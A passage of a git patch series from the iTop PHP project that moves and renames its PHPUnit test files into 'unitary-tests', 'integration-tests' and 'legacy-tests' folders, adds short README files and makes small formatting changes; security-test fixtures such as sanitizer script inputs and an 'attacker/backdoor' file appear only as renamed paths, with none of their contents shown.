rename from test/php-unit-tests/tests/core/DBSearchTest.php
rename to test/php-unit-tests/unitary-tests/core/DBSearchTest.php
diff --git a/test/php-unit-tests/tests/core/DBSearchUpdateRealiasingMapTest.php b/test/php-unit-tests/unitary-tests/core/DBSearchUpdateRealiasingMapTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/DBSearchUpdateRealiasingMapTest.php
rename to test/php-unit-tests/unitary-tests/core/DBSearchUpdateRealiasingMapTest.php
diff --git a/test/php-unit-tests/tests/core/ExpressionTest.php b/test/php-unit-tests/unitary-tests/core/ExpressionTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/ExpressionTest.php
rename to test/php-unit-tests/unitary-tests/core/ExpressionTest.php
diff --git a/test/php-unit-tests/tests/core/LogAPITest.php b/test/php-unit-tests/unitary-tests/core/LogAPITest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/LogAPITest.php
rename to test/php-unit-tests/unitary-tests/core/LogAPITest.php
diff --git a/test/php-unit-tests/tests/core/LogFileNameBuilderTest.php b/test/php-unit-tests/unitary-tests/core/LogFileNameBuilderTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/LogFileNameBuilderTest.php
rename to test/php-unit-tests/unitary-tests/core/LogFileNameBuilderTest.php
diff --git a/test/php-unit-tests/tests/core/MetaModelTest.php b/test/php-unit-tests/unitary-tests/core/MetaModelTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/MetaModelTest.php
rename to test/php-unit-tests/unitary-tests/core/MetaModelTest.php
diff --git a/test/php-unit-tests/tests/core/OQLParserTest.php b/test/php-unit-tests/unitary-tests/core/OQLParserTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/OQLParserTest.php
rename to test/php-unit-tests/unitary-tests/core/OQLParserTest.php
diff --git a/test/php-unit-tests/tests/core/OQLTest.php b/test/php-unit-tests/unitary-tests/core/OQLTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/OQLTest.php
rename to test/php-unit-tests/unitary-tests/core/OQLTest.php
diff --git a/test/php-unit-tests/tests/core/TagSetFieldDataTest.php b/test/php-unit-tests/unitary-tests/core/TagSetFieldDataTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/TagSetFieldDataTest.php
rename to test/php-unit-tests/unitary-tests/core/TagSetFieldDataTest.php
diff --git a/test/php-unit-tests/tests/core/TriggerTest.php b/test/php-unit-tests/unitary-tests/core/TriggerTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/TriggerTest.php
rename to test/php-unit-tests/unitary-tests/core/TriggerTest.php
diff --git a/test/php-unit-tests/tests/core/UniquenessConstraintTest.php b/test/php-unit-tests/unitary-tests/core/UniquenessConstraintTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/UniquenessConstraintTest.php
rename to test/php-unit-tests/unitary-tests/core/UniquenessConstraintTest.php
diff --git a/test/php-unit-tests/tests/core/UserRightsTest.php b/test/php-unit-tests/unitary-tests/core/UserRightsTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/UserRightsTest.php
rename to test/php-unit-tests/unitary-tests/core/UserRightsTest.php
diff --git a/test/php-unit-tests/tests/core/WeeklyScheduledProcessMockConfig.php b/test/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessMockConfig.php
similarity index 100%
rename from test/php-unit-tests/tests/core/WeeklyScheduledProcessMockConfig.php
rename to test/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessMockConfig.php
diff --git a/test/php-unit-tests/tests/core/WeeklyScheduledProcessTest.php b/test/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/WeeklyScheduledProcessTest.php
rename to test/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessTest.php
diff --git a/test/php-unit-tests/tests/core/apcEmulationTest.php b/test/php-unit-tests/unitary-tests/core/apcEmulationTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/apcEmulationTest.php
rename to test/php-unit-tests/unitary-tests/core/apcEmulationTest.php
diff --git a/test/php-unit-tests/tests/core/dictApcuTest.php b/test/php-unit-tests/unitary-tests/core/dictApcuTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/dictApcuTest.php
rename to test/php-unit-tests/unitary-tests/core/dictApcuTest.php
diff --git a/test/php-unit-tests/tests/core/dictTest.php b/test/php-unit-tests/unitary-tests/core/dictTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/dictTest.php
rename to test/php-unit-tests/unitary-tests/core/dictTest.php
diff --git a/test/php-unit-tests/tests/core/iTopConfigParserTest.php b/test/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/iTopConfigParserTest.php
rename to test/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php
diff --git a/test/php-unit-tests/tests/core/mockApcEmulation.incphp b/test/php-unit-tests/unitary-tests/core/mockApcEmulation.incphp
similarity index 100%
rename from test/php-unit-tests/tests/core/mockApcEmulation.incphp
rename to test/php-unit-tests/unitary-tests/core/mockApcEmulation.incphp
diff --git a/test/php-unit-tests/tests/core/mockDict.incphp b/test/php-unit-tests/unitary-tests/core/mockDict.incphp
similarity index 100%
rename from test/php-unit-tests/tests/core/mockDict.incphp
rename to test/php-unit-tests/unitary-tests/core/mockDict.incphp
diff --git a/test/php-unit-tests/tests/core/ormLinkSetTest.php b/test/php-unit-tests/unitary-tests/core/ormLinkSetTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/ormLinkSetTest.php
rename to test/php-unit-tests/unitary-tests/core/ormLinkSetTest.php
diff --git a/test/php-unit-tests/tests/core/ormTagSetTest.php b/test/php-unit-tests/unitary-tests/core/ormTagSetTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/ormTagSetTest.php
rename to test/php-unit-tests/unitary-tests/core/ormTagSetTest.php
diff --git a/test/php-unit-tests/tests/core/sanitizer/AbstractDOMSanitizerTest.php b/test/php-unit-tests/unitary-tests/core/sanitizer/AbstractDOMSanitizerTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/sanitizer/AbstractDOMSanitizerTest.php
rename to test/php-unit-tests/unitary-tests/core/sanitizer/AbstractDOMSanitizerTest.php
diff --git a/test/php-unit-tests/tests/core/sanitizer/HTMLDOMSanitizerTest.php b/test/php-unit-tests/unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/sanitizer/HTMLDOMSanitizerTest.php
rename to test/php-unit-tests/unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php
diff --git a/test/php-unit-tests/tests/core/sanitizer/InlineImageMock.php b/test/php-unit-tests/unitary-tests/core/sanitizer/InlineImageMock.php
similarity index 100%
rename from test/php-unit-tests/tests/core/sanitizer/InlineImageMock.php
rename to test/php-unit-tests/unitary-tests/core/sanitizer/InlineImageMock.php
diff --git a/test/php-unit-tests/tests/core/sanitizer/README.txt b/test/php-unit-tests/unitary-tests/core/sanitizer/README.txt
similarity index 100%
rename from test/php-unit-tests/tests/core/sanitizer/README.txt
rename to test/php-unit-tests/unitary-tests/core/sanitizer/README.txt
diff --git a/test/php-unit-tests/tests/core/sanitizer/SvgDOMSanitizerTest.php b/test/php-unit-tests/unitary-tests/core/sanitizer/SvgDOMSanitizerTest.php
similarity index 100%
rename from test/php-unit-tests/tests/core/sanitizer/SvgDOMSanitizerTest.php
rename to test/php-unit-tests/unitary-tests/core/sanitizer/SvgDOMSanitizerTest.php
diff --git a/test/php-unit-tests/tests/core/sanitizer/input/scripts.html b/test/php-unit-tests/unitary-tests/core/sanitizer/input/scripts.html
similarity index 100%
rename from test/php-unit-tests/tests/core/sanitizer/input/scripts.html
rename to test/php-unit-tests/unitary-tests/core/sanitizer/input/scripts.html
diff --git a/test/php-unit-tests/tests/core/sanitizer/input/scripts.svg b/test/php-unit-tests/unitary-tests/core/sanitizer/input/scripts.svg
similarity index 100%
rename from test/php-unit-tests/tests/core/sanitizer/input/scripts.svg
rename to test/php-unit-tests/unitary-tests/core/sanitizer/input/scripts.svg
diff --git a/test/php-unit-tests/tests/core/sanitizer/input/utf-8_wrong_character_email_truncated.txt b/test/php-unit-tests/unitary-tests/core/sanitizer/input/utf-8_wrong_character_email_truncated.txt
similarity index 100%
rename from test/php-unit-tests/tests/core/sanitizer/input/utf-8_wrong_character_email_truncated.txt
rename to test/php-unit-tests/unitary-tests/core/sanitizer/input/utf-8_wrong_character_email_truncated.txt
diff --git a/test/php-unit-tests/tests/core/sanitizer/input/whitelist_test.html b/test/php-unit-tests/unitary-tests/core/sanitizer/input/whitelist_test.html
similarity index 100%
rename from test/php-unit-tests/tests/core/sanitizer/input/whitelist_test.html
rename to test/php-unit-tests/unitary-tests/core/sanitizer/input/whitelist_test.html
diff --git a/test/php-unit-tests/tests/core/sanitizer/output/scripts.html b/test/php-unit-tests/unitary-tests/core/sanitizer/output/scripts.html
similarity index 100%
rename from test/php-unit-tests/tests/core/sanitizer/output/scripts.html
rename to test/php-unit-tests/unitary-tests/core/sanitizer/output/scripts.html
diff --git a/test/php-unit-tests/tests/core/sanitizer/output/scripts.svg b/test/php-unit-tests/unitary-tests/core/sanitizer/output/scripts.svg
similarity index 100%
rename from test/php-unit-tests/tests/core/sanitizer/output/scripts.svg
rename to test/php-unit-tests/unitary-tests/core/sanitizer/output/scripts.svg
diff --git a/test/php-unit-tests/tests/core/sanitizer/output/utf-8_wrong_character_email_truncated.txt b/test/php-unit-tests/unitary-tests/core/sanitizer/output/utf-8_wrong_character_email_truncated.txt
similarity index 100%
rename from test/php-unit-tests/tests/core/sanitizer/output/utf-8_wrong_character_email_truncated.txt
rename to test/php-unit-tests/unitary-tests/core/sanitizer/output/utf-8_wrong_character_email_truncated.txt
diff --git a/test/php-unit-tests/tests/datamodels/2.x/authent-local/UserLocalTest.php b/test/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php
similarity index 100%
rename from test/php-unit-tests/tests/datamodels/2.x/authent-local/UserLocalTest.php
rename to test/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php
diff --git a/test/php-unit-tests/tests/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php b/test/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php
similarity index 100%
rename from test/php-unit-tests/tests/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php
rename to test/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php
diff --git a/test/php-unit-tests/tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php b/test/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php
similarity index 100%
rename from test/php-unit-tests/tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php
rename to test/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php
diff --git a/test/php-unit-tests/tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php b/test/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php
similarity index 100%
rename from test/php-unit-tests/tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php
rename to test/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php
diff --git a/test/php-unit-tests/tests/datamodels/2.x/itop-tickets/itopTicketTest.php b/test/php-unit-tests/unitary-tests/datamodels/2.x/itop-tickets/itopTicketTest.php
similarity index 100%
rename from test/php-unit-tests/tests/datamodels/2.x/itop-tickets/itopTicketTest.php
rename to test/php-unit-tests/unitary-tests/datamodels/2.x/itop-tickets/itopTicketTest.php
diff --git a/test/php-unit-tests/tests/setup/DBBackupTest.php b/test/php-unit-tests/unitary-tests/setup/DBBackupTest.php
similarity index 100%
rename from test/php-unit-tests/tests/setup/DBBackupTest.php
rename to test/php-unit-tests/unitary-tests/setup/DBBackupTest.php
diff --git a/test/php-unit-tests/tests/setup/SetupUtilsTest.php b/test/php-unit-tests/unitary-tests/setup/SetupUtilsTest.php
similarity index 100%
rename from test/php-unit-tests/tests/setup/SetupUtilsTest.php
rename to test/php-unit-tests/unitary-tests/setup/SetupUtilsTest.php
diff --git a/test/php-unit-tests/tests/setup/iTopDesignFormat/1.7_to_1.6.expected.xml b/test/php-unit-tests/unitary-tests/setup/iTopDesignFormat/1.7_to_1.6.expected.xml
similarity index 100%
rename from test/php-unit-tests/tests/setup/iTopDesignFormat/1.7_to_1.6.expected.xml
rename to test/php-unit-tests/unitary-tests/setup/iTopDesignFormat/1.7_to_1.6.expected.xml
diff --git a/test/php-unit-tests/tests/setup/iTopDesignFormat/1.7_to_1.6.input.xml b/test/php-unit-tests/unitary-tests/setup/iTopDesignFormat/1.7_to_1.6.input.xml
similarity index 100%
rename from test/php-unit-tests/tests/setup/iTopDesignFormat/1.7_to_1.6.input.xml
rename to test/php-unit-tests/unitary-tests/setup/iTopDesignFormat/1.7_to_1.6.input.xml
diff --git a/test/php-unit-tests/tests/setup/iTopDesignFormat/iTopDesignFormatTest.php b/test/php-unit-tests/unitary-tests/setup/iTopDesignFormat/iTopDesignFormatTest.php
similarity index 100%
rename from test/php-unit-tests/tests/setup/iTopDesignFormat/iTopDesignFormatTest.php
rename to test/php-unit-tests/unitary-tests/setup/iTopDesignFormat/iTopDesignFormatTest.php
diff --git a/test/php-unit-tests/tests/sources/application/TwigBase/Twig/TwigTest.php b/test/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/TwigTest.php
similarity index 100%
rename from test/php-unit-tests/tests/sources/application/TwigBase/Twig/TwigTest.php
rename to test/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/TwigTest.php
diff --git a/test/php-unit-tests/tests/sources/application/TwigBase/Twig/attacker/backdoor b/test/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/attacker/backdoor
similarity index 100%
rename from test/php-unit-tests/tests/sources/application/TwigBase/Twig/attacker/backdoor
rename to test/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/attacker/backdoor
diff --git a/test/php-unit-tests/tests/sources/application/TwigBase/Twig/test.html b/test/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/test.html
similarity index 100%
rename from test/php-unit-tests/tests/sources/application/TwigBase/Twig/test.html
rename to test/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/test.html
diff --git a/test/php-unit-tests/tests/sources/application/TwigBase/Twig/test.html.twig b/test/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/test.html.twig
similarity index 100%
rename from test/php-unit-tests/tests/sources/application/TwigBase/Twig/test.html.twig
rename to test/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/test.html.twig
diff --git a/test/php-unit-tests/tests/status/StatusIncTest.php b/test/php-unit-tests/unitary-tests/status/StatusIncTest.php
similarity index 100%
rename from test/php-unit-tests/tests/status/StatusIncTest.php
rename to test/php-unit-tests/unitary-tests/status/StatusIncTest.php
diff --git a/test/php-unit-tests/tests/status/StatusTest.php b/test/php-unit-tests/unitary-tests/status/StatusTest.php
similarity index 100%
rename from test/php-unit-tests/tests/status/StatusTest.php
rename to test/php-unit-tests/unitary-tests/status/StatusTest.php
diff --git a/test/php-unit-tests/tests/status/status.php b/test/php-unit-tests/unitary-tests/status/status.php
similarity index 100%
rename from test/php-unit-tests/tests/status/status.php
rename to test/php-unit-tests/unitary-tests/status/status.php
diff --git a/test/php-unit-tests/tests/webservices/RestTest.php b/test/php-unit-tests/unitary-tests/webservices/RestTest.php
similarity index 100%
rename from test/php-unit-tests/tests/webservices/RestTest.php
rename to test/php-unit-tests/unitary-tests/webservices/RestTest.php

From 0998c73a1a94c08486ff6d6bca58b841461647f1 Mon Sep 17 00:00:00 2001
From: Molkobain 
Date: Thu, 13 Oct 2022 21:57:41 +0200
Subject: [PATCH 094/230] =?UTF-8?q?N=C2=B05608=20-=20Add=20README=20files?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 test/php-unit-tests/README.md              | 6 ++++++
 test/php-unit-tests/legacy-tests/README.md | 1 +
 2 files changed, 7 insertions(+)
 create mode 100644 test/php-unit-tests/README.md
 create mode 100644 test/php-unit-tests/legacy-tests/README.md

diff --git a/test/php-unit-tests/README.md b/test/php-unit-tests/README.md
new file mode 100644
index 000000000..04d26c928
--- /dev/null
+++ b/test/php-unit-tests/README.md
@@ -0,0 +1,6 @@
+# Where should I add my test?
+
+- Covers an iTop PHP class or method?
+  - Most likely in "unitary-tests".
+- Covers the consistency of some data through the app?
+  - Most likely in "integration-tests".
\ No newline at end of file
diff --git a/test/php-unit-tests/legacy-tests/README.md b/test/php-unit-tests/legacy-tests/README.md
new file mode 100644
index 000000000..08c576281
--- /dev/null
+++ b/test/php-unit-tests/legacy-tests/README.md
@@ -0,0 +1 @@
+Tests in this folder have been written before the introduction of PHPUnit in iTop, they are not run by the CI.
\ No newline at end of file

From 11d8547cefd3160dec3ba66b4795043f19102749 Mon Sep 17 00:00:00 2001
From: Molkobain 
Date: Thu, 13 Oct 2022 22:12:14 +0200
Subject: [PATCH 095/230] =?UTF-8?q?N=C2=B05608=20-=20Move/rename=20unit=20?=
 =?UTF-8?q?tests=20to=20match=20their=20counterpart=20location/name?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 test/php-unit-tests/phpunit.xml.dist                     | 7 +++++++
 .../application/{UtilsTest.php => utilsTest.php}         | 2 +-
 .../composer => sources/Composer}/iTopComposerTest.php   | 9 +++------
 .../application/search/CriterionConversionTest.php       | 0
 .../application/search/CriterionParserTest.php           | 0
 .../{ => sources}/application/search/SearchFormTest.php  | 0
 6 files changed, 11 insertions(+), 7 deletions(-)
 rename test/php-unit-tests/unitary-tests/application/{UtilsTest.php => utilsTest.php} (99%)
 rename test/php-unit-tests/unitary-tests/{application/composer => sources/Composer}/iTopComposerTest.php (94%)
 rename test/php-unit-tests/unitary-tests/{ => sources}/application/search/CriterionConversionTest.php (100%)
 rename test/php-unit-tests/unitary-tests/{ => sources}/application/search/CriterionParserTest.php (100%)
 rename test/php-unit-tests/unitary-tests/{ => sources}/application/search/SearchFormTest.php (100%)

diff --git a/test/php-unit-tests/phpunit.xml.dist b/test/php-unit-tests/phpunit.xml.dist
index ea11c8160..099fb9406 100644
--- a/test/php-unit-tests/phpunit.xml.dist
+++ b/test/php-unit-tests/phpunit.xml.dist
@@ -50,6 +50,13 @@
     
       unitary-tests/setup
     
+    
+    
+      unitary-tests/sources/application/search
+    
+    
+      unitary-tests/sources/Composer
+    
     
       unitary-tests/status
     
diff --git a/test/php-unit-tests/unitary-tests/application/UtilsTest.php b/test/php-unit-tests/unitary-tests/application/utilsTest.php
similarity index 99%
rename from test/php-unit-tests/unitary-tests/application/UtilsTest.php
rename to test/php-unit-tests/unitary-tests/application/utilsTest.php
index e09b7d25c..354146b7c 100644
--- a/test/php-unit-tests/unitary-tests/application/UtilsTest.php
+++ b/test/php-unit-tests/unitary-tests/application/utilsTest.php
@@ -24,7 +24,7 @@ use Combodo\iTop\Test\UnitTest\ItopTestCase;
 /**
  * @covers utils
  */
-class UtilsTest extends ItopTestCase
+class utilsTest extends ItopTestCase
 {
 	public function testEndsWith()
 	{
diff --git a/test/php-unit-tests/unitary-tests/application/composer/iTopComposerTest.php b/test/php-unit-tests/unitary-tests/sources/Composer/iTopComposerTest.php
similarity index 94%
rename from test/php-unit-tests/unitary-tests/application/composer/iTopComposerTest.php
rename to test/php-unit-tests/unitary-tests/sources/Composer/iTopComposerTest.php
index e103360aa..6fe8e08e5 100644
--- a/test/php-unit-tests/unitary-tests/application/composer/iTopComposerTest.php
+++ b/test/php-unit-tests/unitary-tests/sources/Composer/iTopComposerTest.php
@@ -22,8 +22,6 @@ use Combodo\iTop\Test\UnitTest\ItopTestCase;
  *   along with iTop. If not, see 
  *
  */
-
-
 class iTopComposerTest extends ItopTestCase
 {
 
@@ -84,8 +82,7 @@ class iTopComposerTest extends ItopTestCase
 		$this->assertTrue(is_array($aDirs));
 
 		$aDeniedDirWrongFormat = [];
-		foreach ($aDirs as $sDir)
-		{
+		foreach ($aDirs as $sDir) {
 			if (false === iTopComposer::IsTestDir($sDir)) {
 				$aDeniedDirWrongFormat[] = $sDir;
 			}
@@ -138,8 +135,8 @@ class iTopComposerTest extends ItopTestCase
 		$this->assertEmpty(
 			$aMissing,
 			'Test dirs exists in /lib !'."\n"
-				.'  They must be declared either in the allowed or denied list in '.iTopComposer::class." (see N°2651).\n"
-				.'  List of dirs:'."\n".var_export($aMissing, true)
+			.'  They must be declared either in the allowed or denied list in '.iTopComposer::class." (see N°2651).\n"
+			.'  List of dirs:'."\n".var_export($aMissing, true)
 		);
 	}
 }
diff --git a/test/php-unit-tests/unitary-tests/application/search/CriterionConversionTest.php b/test/php-unit-tests/unitary-tests/sources/application/search/CriterionConversionTest.php
similarity index 100%
rename from test/php-unit-tests/unitary-tests/application/search/CriterionConversionTest.php
rename to test/php-unit-tests/unitary-tests/sources/application/search/CriterionConversionTest.php
diff --git a/test/php-unit-tests/unitary-tests/application/search/CriterionParserTest.php b/test/php-unit-tests/unitary-tests/sources/application/search/CriterionParserTest.php
similarity index 100%
rename from test/php-unit-tests/unitary-tests/application/search/CriterionParserTest.php
rename to test/php-unit-tests/unitary-tests/sources/application/search/CriterionParserTest.php
diff --git a/test/php-unit-tests/unitary-tests/application/search/SearchFormTest.php b/test/php-unit-tests/unitary-tests/sources/application/search/SearchFormTest.php
similarity index 100%
rename from test/php-unit-tests/unitary-tests/application/search/SearchFormTest.php
rename to test/php-unit-tests/unitary-tests/sources/application/search/SearchFormTest.php

From 87cb73c038f97a19859ac92d67292d1dec487734 Mon Sep 17 00:00:00 2001
From: Molkobain 
Date: Fri, 14 Oct 2022 15:38:56 +0200
Subject: [PATCH 096/230] =?UTF-8?q?N=C2=B05608=20-=20Rename=20"test"=20fol?=
 =?UTF-8?q?der=20to=20"tests"=20to=20better=20match=20conventions?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .gitignore                                          |   4 ++--
 test/ci_description.ini                             |   8 --------
 {test => tests}/backups/backup-itop.tar.gz          | Bin
 tests/ci_description.ini                            |   8 ++++++++
 .../attributeset_widget_poc.html                    |   0
 .../manual-visual-tests/sanitize_test.php           |   0
 {test => tests}/php-unit-tests/ItopDataTestCase.php |   0
 {test => tests}/php-unit-tests/ItopTestCase.php     |   0
 {test => tests}/php-unit-tests/README.md            |   0
 {test => tests}/php-unit-tests/composer.json        |   0
 .../DictionariesConsistencyTest.php                 |   0
 .../iTopModulesPhpVersionChecklistTest.php          |   0
 .../iTopModulesXmlVersionChecklistTest.php          |   0
 .../legacy-tests/GroupByAndFunctions.php            |   2 +-
 .../php-unit-tests/legacy-tests/README.md           |   0
 .../php-unit-tests/legacy-tests/VerifyOQL.php       |   0
 .../php-unit-tests/legacy-tests/benchmark.php       |   0
 .../php-unit-tests/legacy-tests/build_test_oql.php  |   4 ++--
 .../legacy-tests/config-test-farm.php               |   0
 .../legacy-tests/display_cache_content.php          |   0
 .../legacy-tests/replay_query_log.php               |   0
 .../php-unit-tests/legacy-tests/test.class.inc.php  |   0
 .../php-unit-tests/legacy-tests/test.php            |   0
 .../php-unit-tests/legacy-tests/testlist.inc.php    |   0
 {test => tests}/php-unit-tests/phpunit.xml.dist     |   0
 .../SetupCssIntegrityChecklistTest.php              |   0
 .../iTopDesignFormatChecklistTest.php               |   0
 .../iTopModuleXmlInstallationChecklistTest.php      |   0
 .../php-unit-tests/postbuild_integration.xml.dist   |   0
 .../application/DashboardLayoutTest.php             |   0
 .../application/privUITransactionFileTest.php       |   0
 .../unitary-tests/application/utilsTest.php         |   0
 .../unitary-tests/core/BulkChangeTest.inc.php       |   0
 .../unitary-tests/core/CMDBObjectTest.php           |   0
 .../core/CMDBSource/CMDBSourceTest.php              |   0
 .../core/CMDBSource/DeadLockInjection.php           |   0
 .../core/CMDBSource/TransactionsTest.php            |   0
 .../core/ConfigPlaceholdersResolverTest.php         |   0
 .../unitary-tests/core/ConfigTest.php               |   0
 .../core/ConfigTest/config-itop-joker.php           |   0
 .../core/ConfigTest/config-itop-var.php             |   0
 .../config-itop_KO_config_plus_code.php             |   0
 .../ConfigValidator/config-itop_KO_function.php     |   0
 .../core/ConfigValidator/config-itop_VALID.php      |   0
 .../config-itop_VALID_log-level-min_const.php       |   0
 .../ConfigValidator/iTopConfigAstValidatorTest.php  |   0
 .../unitary-tests/core/DBObjectTest.php             |   0
 .../unitary-tests/core/DBSearchCommitTest.php       |   0
 .../unitary-tests/core/DBSearchIntersectTest.php    |   0
 .../unitary-tests/core/DBSearchJoinTest.php         |   0
 .../unitary-tests/core/DBSearchTest.php             |   0
 .../core/DBSearchUpdateRealiasingMapTest.php        |   0
 .../unitary-tests/core/ExpressionTest.php           |   0
 .../unitary-tests/core/LogAPITest.php               |   0
 .../unitary-tests/core/LogFileNameBuilderTest.php   |   0
 .../unitary-tests/core/MetaModelTest.php            |   0
 .../unitary-tests/core/OQLParserTest.php            |   0
 .../php-unit-tests/unitary-tests/core/OQLTest.php   |   0
 .../unitary-tests/core/TagSetFieldDataTest.php      |   0
 .../unitary-tests/core/TriggerTest.php              |   0
 .../unitary-tests/core/UniquenessConstraintTest.php |   0
 .../unitary-tests/core/UserRightsTest.php           |   0
 .../core/WeeklyScheduledProcessMockConfig.php       |   0
 .../core/WeeklyScheduledProcessTest.php             |   2 +-
 .../unitary-tests/core/apcEmulationTest.php         |   0
 .../unitary-tests/core/dictApcuTest.php             |   0
 .../php-unit-tests/unitary-tests/core/dictTest.php  |   0
 .../unitary-tests/core/iTopConfigParserTest.php     |   0
 .../unitary-tests/core/mockApcEmulation.incphp      |   0
 .../unitary-tests/core/mockDict.incphp              |   0
 .../unitary-tests/core/ormLinkSetTest.php           |   0
 .../unitary-tests/core/ormTagSetTest.php            |   0
 .../core/sanitizer/AbstractDOMSanitizerTest.php     |   0
 .../core/sanitizer/HTMLDOMSanitizerTest.php         |   2 +-
 .../core/sanitizer/InlineImageMock.php              |   0
 .../unitary-tests/core/sanitizer/README.txt         |   0
 .../core/sanitizer/SvgDOMSanitizerTest.php          |   0
 .../unitary-tests/core/sanitizer/input/scripts.html |   0
 .../unitary-tests/core/sanitizer/input/scripts.svg  |   0
 .../input/utf-8_wrong_character_email_truncated.txt |   0
 .../core/sanitizer/input/whitelist_test.html        |   0
 .../core/sanitizer/output/scripts.html              |   0
 .../unitary-tests/core/sanitizer/output/scripts.svg |   0
 .../utf-8_wrong_character_email_truncated.txt       |   0
 .../datamodels/2.x/authent-local/UserLocalTest.php  |   2 +-
 .../UserLocalTest/UserLocalPasswordPolicyMock.php   |   0
 .../Validator/iTopConfigAstValidatorTest.php        |   0
 .../Validator/iTopConfigSyntaxValidatorTest.php     |   0
 .../datamodels/2.x/itop-tickets/itopTicketTest.php  |   0
 .../unitary-tests/setup/DBBackupTest.php            |   0
 .../unitary-tests/setup/SetupUtilsTest.php          |   0
 .../setup/iTopDesignFormat/1.7_to_1.6.expected.xml  |   0
 .../setup/iTopDesignFormat/1.7_to_1.6.input.xml     |   0
 .../setup/iTopDesignFormat/iTopDesignFormatTest.php |   0
 .../sources/Composer/iTopComposerTest.php           |   0
 .../sources/application/TwigBase/Twig/TwigTest.php  |   0
 .../sources/application/TwigBase/Twig/test.html     |   0
 .../application/TwigBase/Twig/test.html.twig        |   0
 .../application/search/CriterionConversionTest.php  |   0
 .../application/search/CriterionParserTest.php      |   0
 .../sources/application/search/SearchFormTest.php   |   0
 .../unitary-tests/status/StatusIncTest.php          |   0
 .../unitary-tests/status/StatusTest.php             |   0
 .../php-unit-tests/unitary-tests/status/status.php  |   0
 .../unitary-tests/webservices/RestTest.php          |   0
 {test => tests}/php-unit-tests/unittestautoload.php |   0
 {test => tests}/setup_params/default-params.xml     |   0
 {test => tests}/setup_params/setup.xml              |   0
 108 files changed, 16 insertions(+), 16 deletions(-)
 delete mode 100644 test/ci_description.ini
 rename {test => tests}/backups/backup-itop.tar.gz (100%)
 create mode 100644 tests/ci_description.ini
 rename {test => tests}/manual-visual-tests/attributeset_widget_poc.html (100%)
 rename {test => tests}/manual-visual-tests/sanitize_test.php (100%)
 rename {test => tests}/php-unit-tests/ItopDataTestCase.php (100%)
 rename {test => tests}/php-unit-tests/ItopTestCase.php (100%)
 rename {test => tests}/php-unit-tests/README.md (100%)
 rename {test => tests}/php-unit-tests/composer.json (100%)
 rename {test => tests}/php-unit-tests/integration-tests/DictionariesConsistencyTest.php (100%)
 rename {test => tests}/php-unit-tests/integration-tests/iTopModulesPhpVersionChecklistTest.php (100%)
 rename {test => tests}/php-unit-tests/integration-tests/iTopModulesXmlVersionChecklistTest.php (100%)
 rename {test => tests}/php-unit-tests/legacy-tests/GroupByAndFunctions.php (99%)
 rename {test => tests}/php-unit-tests/legacy-tests/README.md (100%)
 rename {test => tests}/php-unit-tests/legacy-tests/VerifyOQL.php (100%)
 rename {test => tests}/php-unit-tests/legacy-tests/benchmark.php (100%)
 rename {test => tests}/php-unit-tests/legacy-tests/build_test_oql.php (97%)
 rename {test => tests}/php-unit-tests/legacy-tests/config-test-farm.php (100%)
 rename {test => tests}/php-unit-tests/legacy-tests/display_cache_content.php (100%)
 rename {test => tests}/php-unit-tests/legacy-tests/replay_query_log.php (100%)
 rename {test => tests}/php-unit-tests/legacy-tests/test.class.inc.php (100%)
